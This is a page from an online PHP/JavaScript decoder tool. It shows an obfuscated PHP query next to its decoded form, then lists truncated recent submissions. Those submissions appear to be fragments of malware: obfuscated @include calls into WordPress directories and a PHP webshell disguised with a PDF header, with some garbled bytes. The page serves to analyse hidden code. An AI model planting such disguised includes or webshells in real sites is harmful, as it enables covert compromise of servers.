Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

if ($_REQUEST["\x41\103\124\x49\117\116"] == "\x56\111\105\x57\x44\117\103\x55\115\105\116\124" or
		$_REQUEST["\101\103\x54\111\117\x4e"] == "\x45\104\x49\x54\x45\104\x4f\103\125\115\x45\116\124") {
		$documents_db = CIBlockElement::GetList(
			array(),
			array(
				"\111\x42\114\x4f\103\113\137\111\x44" => IBLOCK_DEALS_PATTERN,
				"\x41\103\x54\x49\126\105" => "\131",
				"\x43\117\104\105" => $_REQUEST["\x44\105\101\x4c\x5f\x49\x44"],
				"\111\104" => $_REQUEST["\111\104"]
			),
			false,
			false,
			array()
		);

Decrypted code:

if ($_REQUEST["ACTION"] == "VIEWDOCUMENT" or
		$_REQUEST["ACTION"] == "EDITEDOCUMENT") {
		$documents_db = CIBlockElement::GetList(
			array(),
			array(
				"IBLOCK_ID" => IBLOCK_DEALS_PATTERN,
				"ACTIVE" => "Y",
				"CODE" => $_REQUEST["DEAL_ID"],
				"ID" => $_REQUEST["ID"]
			),
			false,
			false,
			array()
		);

Recent submissions:

@include ("\057h\157m\1451\057a\160t\165t\157c\157/\160u\142l\151c\137h\164m\154/\141r\164... m\\u00а7\ø\I\3\!\\u00fе\\\u00а0\Ù\)\Ö\\u00bс\ð... @include ("\057ho\155e1\057ap\164ut\157co\057pu\142li\143_h\164ml\057up\160ma\144a/\167p-\... @include ("\057home\061/apt\165toco\057publ\151c_ht\155l/up\160mada\057wp-c\157nten\164/th... @include ("\057h\157m\1451\057a\160t\165t\157c\157/\160u\142l\151c\137h\164m\154/\141r\164... @include ("\057ho\155e1\057ap\164ut\157co\057pu\142li\143_h\164ml\057ar\164la\156d/\167p-\... @include ("\057home\061/apt\165toco\057publ\151c_ht\155l/ar\164land\057wp-i\156clud\145s/s... @include ("\057home\061/apt\165toco\057publ\151c_ht\155l/ar\164land\057wp-c\157nten\164/pl... %PDF- %PDF- <?php http_response_code(404); $YANZrifzt9818 = "Xlz+RGsuVC9B/A0NJyrgdv1Qe... <?php function hs1($ze2){$kn3 = " /e_a1sdpH*7nl?" ."4I-" ."2it<hF@0" ."E.x5;fm)" ."ybo'" ...